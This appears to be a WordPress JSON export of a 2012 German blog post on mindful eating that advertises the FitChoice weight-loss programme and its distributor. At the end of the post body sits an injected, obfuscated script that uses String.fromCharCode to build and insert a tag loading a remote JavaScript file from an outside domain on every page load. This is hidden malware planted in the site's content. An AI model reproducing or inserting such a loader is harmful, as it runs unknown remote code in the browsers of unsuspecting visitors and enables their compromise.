{"id":2651,"date":"2012-11-06T13:29:17","date_gmt":"2012-11-06T12:29:17","guid":{"rendered":"http:\/\/energiemedizin.de\/blog\/?p=2651"},"modified":"2012-11-06T13:29:17","modified_gmt":"2012-11-06T12:29:17","slug":"bewusster-essen","status":"publish","type":"post","link":"http:\/\/blog.energiemedizin.de\/?p=2651","title":{"rendered":"Bewusster Essen"},"content":{"rendered":"<p>Das gesamte Konzept des bewussten Essens dreht sich vor allem darum, die aufgenommene Nahrung zu genie\u00dfen um zufrieden und satt zu sein, ohne dabei aus den Augen zu verlieren wie hungrig oder satt man gerade wirklich ist. Menschen essen aus vielen unterschiedlichen Gr\u00fcnden \u2013 die manchmal nichts mit Hunger zu tun haben. Es gen\u00fcgt oft schon, dass uns ein bestimmtes Nahrungsmittel angeboten wird oder etwas Leckeres besonders sichtbar ist. Manchmal f\u00fchlen wir uns einfach entmutigt, gestresst, m\u00fcde oder aufgeregt und werden durch diese Gef\u00fchle zum Essen angestiftet. Es kann aber auch sein, dass in bestimmten Umst\u00e4nden und zu bestimmten Gelegenheiten ganz einfach von uns erwartet wird, dass wir etwas essen. Und es gibt noch so viele andere Gr\u00fcnde mehr\u2026<\/p>\n<p>Wenn man daran arbeitet sein Gewichtsbewusstsein in den Griff zu bekommen, m\u00fcssen vor allem die eigenen Essgewohnheiten angepasst werden. Und es ist zu Beginn nicht immer einfach sich auf das eigene S\u00e4ttigungs- und Hungergef\u00fchl zu verlassen. Im Rahmen des <em>FitChoice<\/em>-Programms haben Sie eine ganze Reihe von Tipps erhalten, wie Sie zu einem bewussterem bzw. instinktiverem Esser werden. Wenden Sie auch die folgende Vorgehensweise an, um sich noch bewusster zu werden, was Sie wirklich essen:<\/p>\n<p>Bevor Sie etwas essen, sollten Sie sich erst die Frage stellen: \u201c<em>Bin ich wirklich hungrig?<\/em>\u201d. Diese grundlegende Frage kann Sie, je nach Antwort, wie an einer Kreuzung, in zwei unterschiedliche Richtungen schicken.<\/p>\n<p>Lesen Sie <a href=\"http:\/\/blog.newayseurope.eu\/de\/author\/evelieng\/\" target=\"_blank\">hier den ganzen Artikel<\/a><\/p>\n<p>Quelle: <a href=\"http:\/\/blog.newayseurope.eu\/de\/author\/evelieng\/\">http:\/\/blog.newayseurope.eu\/de\/author\/evelieng\/<\/a><\/p>\n<p><a rel=\"attachment wp-att-2658\" href=\"http:\/\/energiemedizin.de\/blog\/?attachment_id=2658\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft size-full wp-image-2658\" title=\"Logo Joy Musselmann\" src=\"http:\/\/energiemedizin.de\/blog\/wp-content\/uploads\/2012\/11\/Logo-Joy-Musselmann.jpg\" alt=\"\" width=\"322\" height=\"111\" \/><\/a><strong>Ihren Weg zu nachhaltiger Fitness und mehr Gewichtsbewusstsein k\u00f6nnen Sie mit dem <em>FitChioce<\/em> Programm sehr gut unterst\u00fctzen.<br \/>\nFitChoice kann Ihnen helfen, gut auszusehen und sich gro\u00dfartig zu f\u00fchlen.<br \/>\nWeitere Informationen und Erl\u00e4uterungen zum Programm und zu den Produkten finden Sie hier: <a href=\"http:\/\/perth.ineways.eu\" target=\"_blank\">perth.ineways.eu <\/a>oder direkt bei mir: <a href=\"http:\/\/energiemedizin.de\/blog\/?page_id=29\" target=\"_blank\">Impressum<\/a><br \/>\nIch helfe Ihnen gerne Ihr pers\u00f6nliches Programm aufzustellen.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <a href=\"http:\/\/perth.ineways.eu\" target=\"_blank\">Achim Steffan<\/a><br \/>\n<\/strong><\/p>\n<p><strong><br \/>\n<\/strong><\/p>\n<p><strong> <\/strong><\/p>\n<p><strong> <\/strong><\/p>\n<p><strong> <\/strong><\/p>\n<p><strong> <\/strong><\/p>\n<p><strong> <\/strong><\/p>\n<p><strong><a href=\"http:\/\/energiemedizin.de\/blog\/?page_id=29\" target=\"_blank\"> <\/a><\/strong><\/p>\n<p><strong> <\/strong><a href=\"https:\/\/fitchoice.neways.com\/de\/home\/\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft size-full wp-image-2661\" title=\"Fit Choice\" src=\"http:\/\/energiemedizin.de\/blog\/wp-content\/uploads\/2012\/11\/Fit-Choice.jpg\" alt=\"\" width=\"265\" height=\"264\" \/><\/a><a href=\"https:\/\/fitchoice.neways.com\/de\/products\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"alignleft size-full wp-image-2660\" title=\"FitChoice kpl.\" src=\"http:\/\/energiemedizin.de\/blog\/wp-content\/uploads\/2012\/11\/FitChoice-kpl.1.png\" alt=\"\" width=\"404\" height=\"271\" \/><\/a><\/p>\n<p>&nbsp;<script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Das gesamte Konzept des bewussten Essens dreht sich vor allem darum, die aufgenommene Nahrung zu genie\u00dfen um zufrieden und satt zu sein, ohne dabei aus den Augen zu verlieren wie hungrig oder satt man gerade wirklich ist. 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